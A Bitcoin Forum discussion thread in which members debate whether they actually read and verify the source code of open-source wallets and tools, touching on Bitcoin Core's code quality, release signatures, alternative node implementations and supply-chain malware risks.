Bitcoin Forum

There is no doubt that open-source software is better compared to closed-source software. There is a lot of content on this topic, so there is no reason to discuss the advantages of open source.

There is another thing I would like to know. The crypto community preaches "Verify, Don't Trust!" How many of us actively check the code of the software, wallets, and everything else crypto-related that we use? Do you have the programming skills, time, and experience to inspect the codebase and deem it OK to be used? Or do you trust that others have done so and take their word for it? Do you find it odd that you are placing your trust in other individuals to have done the job for you in an industry where you are supposed to be your own bank, banker, and security department?

According to a study I found, it was discovered that 91% percent of open-sourced code contained certain parts that are either outdated or not actively developed.


That by itself is no reason for concern, but the following part could and should be:


You can read the whole report here:
https://www.securitymagazine.com/articles/92368-synopsys-study-shows-91-of-commercial-applications-contain-outdated-or-abandoned-open-source-components

I personally have only read Electrum's source code fully, because it's written in Python and it's relatively less bulky than most other implementations. For that matter, I think it's a good practice to inspect what you're running on the computer. But the truth is, it's just too unrealistic. It's a time consuming process and most programs are a mix of languages and for which some are not proficient at. If you're reading the code but you don't know what's going on, the process is probably not going to be of any use and just a waste of time.

Beauty of open source lies primarily in the fact that people can have access to the source code and there are probably some that are honest and are quick to point out of any mistakes as well as transparent commits (in the case of projs on github). If you don't have the skills or the time to audit it (which can be rather time consuming for some bulky codes), then you'll be better off just validating the binaries. You'll probably not be able to identify anything wrong with the source code, it can be well obfuscated.

As for the study, isn't it geared towards softwares which integrate open source resources? Wouldn't the onus be on the corporations to be auditing their own software and/or update the modules appropriately?

---

I think auditing the code and compiling it yourself is good practice, if you can read it in the first place. **Given how well the Electrum phishing worked, I would think that most people wouldn't bother to even validate the binaries, let alone see the code.

one need to have knowledge to check if the software is good or bad, and I could not say that I am able to check if the open-source software is good or bad

yeah, I do not use it blindly, try to check it on reserve machine before installation on main computer, do not use what I do not exactly need, but as far as checking and verifying the software is good or bad, it takes more knowledge that I have to check it, and only option is to trust that others have verified it, and to check when last commits and updates happened

do you check it before use, as far as I can see, most people answered Yes

Check whole code of open source software? No, but i take a peek at few Python software (e.g. Electrum and Bitcoin library).

On a side note,
1. When security is important, i avoid unpopular open source software, unless someone publish proper audit.
2. The question also applies to dependency of open source software you use & any cryptography used.

For the most part I only look deeper into the source code of libraries I use for development, especially when I'm facing unexpected behaviour and need to troubleshoot. Concerning the source code of crypto projects or other utility software I only sneak the occasional peek, more out of interest rather than to verify though. For the latter I'd lack the expertise to properly audit anyway.

One thing I often check though is the amount of development activity and what dependencies are involved. IMHO the latter often are a greater liability than the code of the project itself. A house may look stable enough, but if it's built on sand...

It's not as easy as you'd think. I dare say that less than a handful of projects have "readable" code. Trying to read bad code is like trying to read a terrible handwriting, and going through the entire code is like reading an entire book in terrible handwriting.
Another common issue is lack of documentation. A single line of comment (on parts that need it) can reduce the time reader needs to understand the code drastically.

The less readable the code is the easier for a bug or even malicious code to hide in it even if reviewed by experts.

You don't have to inspect everything before using it. If you are going to do so, then you will never run any Open Source software, because checking absolutely everything takes more time than a lifetime of an average human. It is not about checking everything. It is rather about a possibility to do so when needed. If you have some closed source software, you don't know how it works and you have no way of getting that knowledge, unless you are an expert in Reverse Engineering binaries. If you have some Open Source software, you can inspect every part you need and only that part of code if it is well organized. You can also do some grepping and stop searching when you find enough information. Sooner or later you have to "trust" someone, because assuming that everyone is lying and everything is fake is very hard to do in practice.

So, to sum up: you don't have to verify everything. You just have to have any chance of doing it when needed, that's all about it.

this could work fine for something that is not as security critical as a bitcoin wallet that is to store all your money, something like a browser for example. but when the stakes are high you should also take all the precautions as you can. if everyone thinks they have the chance of verifying the code but never do projects end up never being reviewed by anyone.

Let's talk about the one open source project we are all interested in: bitcoin core client software
I mean, it is one of the ugliest open source codes ever, yet the community has put half a trillion USD trust in it as the single highly reliable code maintaining the protocol, yes? But how is it possible after all? I have a few suggestions:

1) Bitcoin core code is maintained by a group of very talented programmers who have their own reasons for not putting readability in the top of the requirements list.

2) Bitcoin has a very strong incentive mechanism for adversaries to exploit vulnerabilities and the very fact that they have not ever made it, ensures users that the code is safe and reliable.

3) Satoshi's original code enjoyed simple and straightforward programming style, old school, clean and most importantly very small code base that was easy to understand and evaluate, further developments and improvements didn't come from nowhere and overnight although they made the code base far more complicated and larger, they did it gradually and through extensive discussions.

4) On one hand, readability and future development potentials were not primary considerations for Satoshi and after a while it was impossible to re-engineer the code or build a new one from scratch, because of the financial risks involved, it was how the code base become so ugly and fat. It was not an engineering, deliberate fault, nobody was able to imagine how critical and sensitive would become the mission of this innocent piece of code, but it happened and what kept the trust of users in it was a simple fact: the whole process was transparent and supported by almost all the contributors and users.

Except for CVE-2018-17144 (https://bitcoincore.org/en/2018/09/20/notice/) which has been addressed and caused no harm to the system bitcoin core has proved to be a successful project despite the fact that it is almost impossible for users to make a full review of it.

I don't really verify the codes and the only reason is that I do not know any coding language. If I did, I would personally verify the codes by myself (or at least take a peek over them). This makes me feel a bit insecure honestly about the software I own, but as long as nobody complains about a certain version (I usually wait 1-2 weeks after a new Core version is released, for example), I take that as a trusted version to run.

I don't check codes of open source software simply because I don't have programming skills - it's dark forest for me. Though, even if I would have such skills, I'm not sure that I would check it every time before downloading something. I imagine it may be quite time consuming.
But obviously, I don't use random unknown software - risk is too big considering all these scams in crypto area. It should be verified by someone who is reliable. For example, trusted Bitcointalk user or member of other community.

This describes most Bitcoin users, myself included. It wouldn't be reasonable to expect laypeople to inspect every open source code base they use. If that were a requirement, mass Bitcoin adoption would never happen.

Part of the reason this is acceptable is that open source software published by publicly known, well reputed, and verified developers reinforces strong incentives against malicious exploits. In the case of popular software like Bitcoin Core or Electrum, we can be reasonably confident that thousands of programmers are pouring over the code, looking for bugs. After a sufficient amount of time has passed, I consider an update to be relatively safe.

Regardless of the incentives involved, exploits are always possible however, so I wouldn't keep all my eggs in one basket. I've generated private keys using multiple implementations and setups I am reasonably confident in for long term storage, because I know no single method or software is foolproof.

I've been slowly learning how to screen the source code of python software.  I actually studied computer science in college, but I haven't done any coding since.  Fortran and Pascal aren't very useful anymore, not that I remember any of it anyway.

Getting into bitcoin has renewed my interest in coding, but I must admit, it's SLOW going.  I don't have the time to dedicate to learning python as quickly as I would like, and often I go months without having any time at all to study for hobby's sake.

Having said that; I don't use open source software unless the packages are digitally signed, and I can verify the signature.  Even if it's only MD5 encryption used to create the signatures, that's usually enough for me if the the software isn't something that could pose a security risk.  Of course I'm very careful what I install on my main PC which does have all my crypto clients installed on it.

Literally this. Sometimes even when I'm trying to compile packages like that, I have to resort to reading their source code because their documentation is not descriptive enough. I have a fairly thick skin and can tolerate reading/trying to understand badly written code to.

Writing correct documentation is just as important as making the code run correctly, whether it's a program or library (and ESPECIALLY for libraries, because you do not want end-developers to waste their time debugging your library for what they think is a problem). Unfortunately it is an art most people overlook - even though there is capable documentation software for C and C++ (Doxygen (https://www.doxygen.nl/index.html)), not enough people are using them even though they introduce no additional library dependencies into your program.

I don't think this is an open and shut discussion as you describe.

For something such as bitcoin that is very widely used and involved in billions of dollars worth of transactions, the software will be scrutinized by many experts, and vulnerabilities/bugs will be found and corrected. For software that is less widely used, the code will be less scrutinized, and there is a greater chance that someone acting maliciously will find a vulnerability without disclosing it.

Say for example that an exchange creates their own software that their exchange runs on from scratch. Would making the software open source make it better? If the software is open source, if the devs employed by the exchange inadvertently leave open a vulnerability, an attacker could find the vulnerability by reviewing the code and/or pen testing the software on their own implementation. On the other hand, if the software is closed source, an attacker would need to find the vulnerability by attacking the implementation run by the exchange, and any pen-testing could be detected by reviewing logs.

---

To answer the OP's question:
If I am building something on top of open-sourced software, I will review the relevant parts of the documentation, and if necessary the code itself so I can understand how something works. If something is not working as expected, I will review the code, surrounding what I am trying to do, and either correct my mistake or change the code in the software.

I don't consider bitcoin core code as the best code ever but it definitely is not the ugliest one either. It is clean enough and most parts of it are easy to understand.

It was also slow, weak and full of attack vectors.
All the improvements that came later have been addressing these issues. If it looks complicated it is because some of these issues were complicated and some of them are optimization.

I do agree with you and somewhere along the line you have to trust someone or something. But if those who are probably honest (I like that you aren't claiming that they are since people can turn) go rogue, together with the developers, would there be many people left to discover their wrongdoings?

That describes me as well. That is one of the reasons I made this poll. I assume that very few people actually check the codebase thoroughly. Either because they don't know how to, they know how to but its tiring and time consuming, or they are relying on the fact that a respected/honest developer has checked it and remains honest.

A switch has been made from not trusting closed-source software (rightly so), to trusting open-source software that the majority hasn't investigated thoroughly and don't know how to.
This is not my way of criticizing the current situation, and I certainly don't have the know-how to make it better, it's just an observation on trust.     

As a rule of thumb the more developers working on a project, the cleaner the code becomes since they have to make a coding style at some point so that everyone can check Git diffs the same way without these styling changes being part of the diff.

When they'd one or two people involved it's just "get the code out there and make it work" because they are the only people who ever read the code so they don't feel as compelled to make it readable for others.

Even better is if there's a standards process for adding features into a program because it fixates the structure of that part of the code allowing everyone implementing a standard to become familiar with it. Auditing usually doesn't involve making codebases readable. They only check for security vulnerabilities. Unless people raise enough concerns about the readability of the code like the OpenSSL devs did then a specific task force is made specifically for refactoring it.

I'd argue that makefiles written by hand and ./configure scripts are harder to read then even the most hairy C/C++ codebases (looking at you, X11).

Looking at the poll there's more people in our community verifying the code of open source software than I expected. Nice.



I was thinking the same thing. I don't write C++ so I don't know the in and outs of how C++ code should look like in a production environment, but I've definitely seen worse.



Interesting observation! I guess that's because any project that doesn't follow clear styleguides eventually becomes hell to work on, causing active development to be abandoned. Anyone who's ever inherited "legacy code" probably knows what I'm talking about.

To be more exact, I'm saying this in the context of major open source projects, otherwise it is not expected from prominent programmers such as core devs to write down some trashy code, actually their coding style is pretty well above standard. Unfortunately for a software project to fall above average class, coding style is not enough, you have architectural and strategic framework decisions in play as well. Bitcoin client software is somehow trapped in its original design principles and objectives and there is no way out of it because nobody is in charge and risks are too high.

If, and it is a big IF, bitcoin client was not such a mission critical software with so many considerations and requirements including and not limited to avoiding unintentional chain splits we'd have seen at least two or three major rewrites and at least 3 or 4 competing pieces of software.
Putting optimization on top of the requirements list may be a good decision, but it comes with costs as every software engineer knows. There is also another issue with soft forks as they enforce downward compatibility in a highly sophisticated manner due to the nature of the consensus principle in a p2p network.

Obviously, I'm not criticizing the path that bitcoin client code has gone through in the past decade, but we need to understand the implications and consequences of the totally new and different situation with an ungoverned distributed system like bitcoin when it is loaded and should be maintained and developed  under the  load.

This is something I have been thinking about open-source software to avoid some kind of backdoor flaws cause I honestly don't verify their code but it because I am not tech-savvy neither did I have the knowledge in verifying the codes. However, what I usually check is if the software was license by MIT or another reputable Institute of Technology.

The license used tells you nothing about how trustworthy a project is. Anyone can write a program or library that's full of computer-infecting malware and open-source it under the MIT license or some other free license such as the GPL or BSD license.

When verifying code, it's best to use your head:

- Is it calling process creating system calls (system, exec, execve and others)? Then it's trying to spawn another program.
- Does it make calls to encryption functions but doesn't do any security things? It might be encrypting files àla ransomware.
- It is opening network connections to unknown addresses? It might be stealing personal information.

Basically any checks you'd make before running an already built software are the ones you got to apply when you check source code.

Although I haven't gone through each of the following to know how many of them are actual rewrites of the protocol but we already have at least a dozen full node implementation of bitcoin that can also be found on the P2P network. To name a few:
1. Gocoin (https://github.com/piotrnar/gocoin)
2. Bcoin (https://github.com/bcoin-org/bcoin)
3. libbitcoin node (https://github.com/libbitcoin/libbitcoin-node)
4. Parity bitcoin (https://github.com/paritytech/parity-bitcoin)
5. BTCD (https://github.com/btcsuite/btcd)
6. Stratis (https://github.com/stratisproject/StratisBitcoinFullNode)
7. bitcore (https://github.com/bitpay/bitcore-node)
8. rust-bitcoin (https://github.com/jrawsthorne/rust-bitcoin-node)
(double check the links, I may have copied a wrong one here).

Making an open source software, doesn't mean that you have to trust it unless you're a code expert or have a documentation as @Coding Enthusiast wrote. I personally don't check others' code since it's a waste of time, at least if we're talking about big projects. If you give me a very simple program that simply encrypts a file and decrypts it using its own type of cryptography I would like to take a look.

On the other hand, if you give me Bitcoin Core or Electrum, you can't really expect me to spend thousands of hours on reading all those files. In order to prevent installation of a malware I'll have to take a look on all of them. I'll also have to trust myself for my reading skills.

Besides, if someone wants to hide something, he can do it very easily if he knows what he's doing. I wrote a non-sense javascript code that once you run it on an html page you get the word "virus":

(Note that this is supposedly an easy example of messed code. A person that wants to harm you will try his best)

You can't understand what that thing does except if you run it. Unfortunately, for functions that cannot be just ran (such as on browser), you can't be sure that what you're reading is legit. So no, I don't believe that open source projects are guaranteed okay. On Bitcoin Core, I trust the 770 contributors that are experts on their job.

Depends on who you trust, I guess. Scenarios like that can happen but the probability of it happening to major projects like Bitcoin Core is significantly lesser than one which is less active.

Which means you probably have to dedicate some time to inspect and/or learn the appropriate programming language for everything that you run. That's the only way out of that scenario and I can promise you trying to learn another programming language AND be proficient enough to discover malicious code won't be quick, much less potential vulnerabilities.


You're trusting Github and the lead maintainers to be honest. The lead maintainer is the person that merges all the changes into the stable version.

Each Bitcoin Core version, including it's RCs are signed by a few of the contributors and they can be found here[1]

[1] https://github.com/bitcoin-core/gitian.sigs

There are additional financial incentives at play too, given the amount of value at risk across the ecosystem. Those who hold significant amounts of bitcoin and who are capable of auditing the open source software they use have a strong financial interest in doing so. This should act as an additional deterrent against exploits.


This is Dev & Technical Discussion. Post the same poll in Bitcoin Discussion and watch what happens. :P

I also wonder what the results would look like with 1,700 votes rather than 17.

Whenever there is a discussion about cheating or attacking the Bitcoin infrastructure, be it by introducing malicious code, performing a 51% attack, or in some other way, people usually focus on the fact that the attackers have an interest in seeing bitcoin be successful. Therefore, there would be no interest in performing an attack. Why? Because they are holders themselves. But what if they aren't, and their agenda, for some reason, is (or becomes) to cripple the network? Usually when any crime is committed, the first suspects are those closest to the victim. The people they trusted the most.

Yeah, the results are surely not an indicator of how it really is. If this poll was posted across the entire forum, we would be looking at results showing 1% of total users verifying the code. Assuming most of them vote and do so honestly.

I digged deep into what you said and I confirmed that you are absolutely right but my thought was the MIT will do some background check on open source software before the license is issue to them. But, there must be a process for non tech savvy to check and verify the code of open source software.

How can someone use his head when he barely have knowledge in coding.

MIT license is not issued by MIT to projects! it is a license that originated at MIT and it simply defines certain terms and conditions for open source software that anybody can use.

And there are many more,
1. Bitcoin Knots (https://bitcoinknots.org/ (https://bitcoinknots.org/))
2. therealbitcoin http://therealbitcoin.org/ (http://therealbitcoin.org/))
3. Wire (https://github.com/btcsuite/btcd/tree/master/wire (https://github.com/btcsuite/btcd/tree/master/wire)), which is part of BTCD now
4. Bitcoin parity (https://github.com/paritytech/parity-bitcoin (https://github.com/paritytech/parity-bitcoin))
5. Multichain (https://www.multichain.com/ (https://www.multichain.com/))
6. Several bitcoin core fork aimed to realize softfork/hardfork in past (Bitcoin Unlimited, Bitcoin ABC, etc.)


And there are few variant of MIT License template, even though mostly it's based on Expat License.

You're talking about the incentive that Bitcoin holders have against attacking Bitcoin, or a popular Bitcoin software.

I'm talking about something different. Bitcoin holders are taking a risk by holding their bitcoins in any given wallet. To protect that value, they have incentive to audit the software, if they are able to. I assume that, on average, a wallet like Bitcoin Core is perused far more carefully by far more people than other open source softwares that secure less (or no) value.

Almost all JavaScript malware are not formatted as pretty as you presented it, they use a library called UglifyJS (https://www.npmjs.com/package/uglify-js) that makes it really compact and removes white spaces, variable names and in general just obfuscates the code (and makes it extremely difficult for a human to read) It has legitimate uses such as making scripts smaller for serving on the network (Google Ads platform uses it to show you ads), other companies use it as a way of hiding their source code, but it's also used by practically all JavaScript malware because the authors obviously don't want you to see that the browser is downloading a script that has a function "TakeMyMoney()", it's going to be renamed to something like "z".

In fact if you want to see these uglified scripts yourself, just open your browser's Developer Tools And go to the Network tab, open some JavaScript-heavy website such as Facebook or YouTube and click on any of the JavaScript files that have loaded to see what's inside them.


By looking at the things which don't require programming knowledge to understand. If you see a random IP address or bitcoin address in the code, how do you know it's not being used for malicious purposes such as stealing bitcoin or sending passwords there?

If you see the project having a misspelled name such as electrum --> electum or electrom, it is almost certainly a malicious project that is tricking people to download the wrong program.

In fact there was a malicious python library on PyPI last year with a similar name to "jellyfish" and "dateutil", two widely used libraries, which were stealing developers' GPG and SSH keys and sending them to someone's remote server. They were quickly removed when it was discovered. https://securityaffairs.co/wordpress/94715/hacking/malicious-python-libraries.html


They should not be using any of those different protocol implementations listed above than bitcoin core if they want to be safe. It's too difficult to audit that a given protocol implementation follows the rules fully and thus does not have security vulnerabilities that would come from a faulty protocol implementation (which could potentially allow people to steal others' bitcoins depending on the severity). Because all of those auditing resources are devoted to Core.

I don't think we can categorize this as a "different implementation". It is a direct fork from bitcoin core and the only developer (luke-jr) is part of bitcoin core team.
This is just additional features on top of core from what I understand (I think it belongs to the same category as something like Armory).

With a quick look at its source code it seems like another copy of bitcoin core but starting from a very old version and I don't think it has been updated either!!! I can't even find OP_CHECKLOCKTIMEVERIFY in its source code let alone any SegWit stuff :D

Also my number 4 ::)

I have to check these two out by spending more time.

(Thanks for all the links above.)

All exact copies of bitcoin core and they even forked core. Besides they are all altcoin clients whereas so far all the listed projects were bitcoin clients.

Reading through open source is quite tricky and I don't know enough of the language(s) to understand and be certain that the code is secure. I recently had a developer help me implement DigiShield in the chain. Apart from knowing that he was a trusted developer, all I could do was compare the lines of change and analyse (to the best of my knowledge) why a function was added, what the function returned and so on.

I usually trust open source repos that have multiple forks and frequent commits. These do not automatically guarantee that the code is without malicious sections, but I feel a little more confident that more than 1 set of eyes has looked at the code.

With Bitcoin's price being almost $40,000... It's just making me wonder... now that I'm starting to pour more money into BTC... yeah i just can't help but wonder how secure Bitcoin is.

I understand that the checks and balances with everyone having to go through the ledger and "no cheating" can happen because everyone must agree before a transaction can go through...

But what about if they attack Bitcoin's software instead?

Every miner uses the newest Update... the updates are centralized:

1. It's officially hosted on one site, downloaded at a central location.
2. Not all miners check or look at the code or even work on it -- a few devs do. If those few devs decide to inject malicious code... everyone else is just going to download and implement it.
3. There are no real security checks with the updates -- no formal body of regulators or official code security team is going to check it for malware... yes, it's open source and everyone can view it -- but then you'd need volunteers to check it regularly. Often, people who check the code only do so after everyone updated already.

So I ask, as bitcoin gets more and more expensive and large financial institutions are considering pouring their holdings in ... the people behind the security code are legitimately not as decentralized.

@Lovecove
Your questions are valid. However, the development community seems to be well-suited and there are many individuals who contribute to Bitcoin Core.
According to https://bitcoin.org/en/development#bitcoin-core-contributors, there are 30 different people who have contributed at least 100 commits. There are many others who have contributed less. I would assume that a great deal of these devs have gone through, or are still inspecting the codebase.

For something awful to happen, all of them (and many others) would have to turn a blind eye and go rogue around the same time.     

Additionally, Bitcoin protocol need both miner and node. So if it happened, it will cause hard-fork (unless the software still follow Bitcoin protocol and perform covert attack such as preventing specific transaction included in block) while Bitcoin network itself is halted because there's no block mined. Then it's just matter before miner find out about it and fix their system.

It's also how far down the rabbit hole do you want to go?
So you checked the code.
If you have to compile the code do you check the compiler? You checked the dependencies, did you check the what the dependencies needed?
https://bitpay.com/blog/npm-package-vulnerability-copay/

Hell, have you checked the TCP/IP stack drivers on your PC or Phone? Otherwise you really can't know where it's transmitting data to.
Did you check your router to make sure it's not one of the ones that can be hacked and have a mitm attack installed?

https://nakedsecurity.sophos.com/2012/10/01/hacked-routers-brazil-vb2012/
https://blog.alcide.io/new-kubernetes-man-in-the-middle-mitm-attack-leverage-ipv6-router-advertisements

If it's in a hot or warm wallet and online there is a risk. Yes you can mitigate it, but reading and verifying the code is only 1 part of it.

How about the device itself, did you check your USB keyboard today?
https://hackerwarehouse.com/product/keygrabber/

Look I got a copy of your password and since you verified your mnemonic I got that too.

-Dave

Mining pools typically are technologically advanced enough to build their own bitcoin implementations that is custom to their pool. Also, if a miner were to have malicious software, this would not affect any user of bitcoin.

As software is updated with Git, the specific changes are highlighted. This means you can verify the code one day in its entirety, and as the software is upgraded, would only need to review the specific changes as opposed to reviewing the entire code again.

that is only possible and easy when you check each commit every day individually. but if you are checking the difference from version to version (for example from bitcoin core version 0.19 to 0.20) then there is going to be a large number of commits with a huge amount of code changed, added or removed which makes it extremely difficult.

in core's example there was 2033 commits, 1254 files changed with 78,888 additions and 72,492 deletions.
https://github.com/bitcoin/bitcoin/compare/v0.19.2...v0.20.0

They don't. You actually don't need to specifically run Bitcoin Core to operate a mining pool. You can use a derivative of that and function just as well, providing that the transactions and the blocks conform to the rules that are implemented.
The only real way to mitigate your concerns is to learn C++ and start reading the codes. If you can't, there is no way around your concerns.

It is true that you have to trust others if you cannot validate the code in it's entirety. However, each release is signed by several developers within the community[1]. Anyone can create their own gitian signature so the best way is to build a well established PGP WOT to be sure that you can trust the people signing the release and that nothing malicious is added.

[1] https://github.com/bitcoin-core/gitian.sigs

You can compare with each RCs and you'll have way lesser codes to deal with. Normal users shouldn't be running RCs anyways but it'll give you some time before the stable release and have lesser codes to review from the final RC to the actual release.

The poll results so far show that more than 50% of users manually check the open source code of the applications they use. It is honestly more than I expected, but I am glad that many users perform this checks.

How would you guys feel if I moved this thread to another sub-forum and we check how the members vote there?
The possible locations could be Bitcoin Discussion or B&H.

I expect the results to drop below 50%, an increase in spam, and incoherent posts. But that would still be needed to get more credible results. Asking developers and coding enthusiasts if they verify code doesn't really show the true state of things.

Should I do it? 

I think that you got such results exactly because you asked this question in Development and Technical Discussion board. It's nothing surprising that majority voted for "yes" option. This board is mainly visited by more experienced members with good technical knowledge. If you would ask it in other board, I think that this number will drop way below 25%.
I think you should try it.

If I do that I would lose the votes submitted in this thread by members who verify software code, so the results are again not that accurate. Many bitcoiners have boards like Bitcoin Discussion and B&H on ignore which would prevent them from seeing the thread there. Although I can take into account how users voted here to get some sort of estimate. I'll think of something.

I asked this question too. As a result, I got most of the answers that people usually do not check the code, I do not want to talk about everyone, but most people really just believe that someone else has already looked at the code.

Bump

I have never checked the code, just because it is Chinese for me :D

Sometimes i check it, but its like having too much to read then^^ sometimes i take a look to ensecure that theres no virus

The issue is the poll results are never going to be accurate with the dataset being so low. We would need thousands of members to vote to have any conclusive results. This topic being in the development and technical discussion board means that most of the people here know how to code or at least have some familiarity with development so that is going to inflate the votes based on that.

The most likely outcome is that most people do not read a lick of code from open source software and instead of rely on those that use it the unfortunate truth in this is that the majority of people that use open source software think the same way and therefore open source software might even give a false sense of security instead of actually being more secure.

I am mainly talking about less used software as more developed software usually has many developers committing to the project and therefore there would be alarm bells ringing but just because a new Bitcoin wallet software is open source does not mean it is safe in fact it could be unsafer due to the complacency it gives new users.

As for the poll I do not review all the open source software I use but I do review some. This is because it becomes impractical to go through every piece of software I use read their documentation and then verify that it is not malicious. Instead any software which I think could be a threat is downloaded on a virtual machine instead of the main machine.   

That is why I made a second topic in the Beginners & Help section > Do you check the code of open source software? (https://bitcointalk.org/index.php?topic=5312903.0)

The results there are pretty even. 7 users voted that they check, and 7 members said they don't check the code. 8 users trust that other people have verified the code. But the number of voters is still too small, and I am sure that some of the members who voted that they check the code in the first poll, did so in the second poll as well.   

If we had 1000 votes in the B&H thread and the members voted honestly, I don't think there would be more than 10% of people who actually check the codebase.

I am a professional software developer and tbh I am always checking the code if I want to use it in my product. You can't imagine how much crap people are publishing and how much crap is included in other packages. My colleagues sometimes use multiple megabyte big packages to use a functionality which are one liners in native code - and we use alpine docker baseimages to have smaller docker images. Ironic

Or as uncle Bob said it once:
The amount of programmers doubles every 5 years. So every second programmer has less than 5 years of coding experience. So don't expect much code quality at all.

That's good to hear. And people should listen to your advices about something like this. I've noticed you know a lot and plus you're professional software developer. It's best way to listen to you about this matter. And yeah right, people should practice to always check the code if you want to use it in a product. A lot of people of are now being smarter on hacking and scamming so we should be very extra careful to avoid experiencing it. Btw, the infos you give really helpful. Thanks!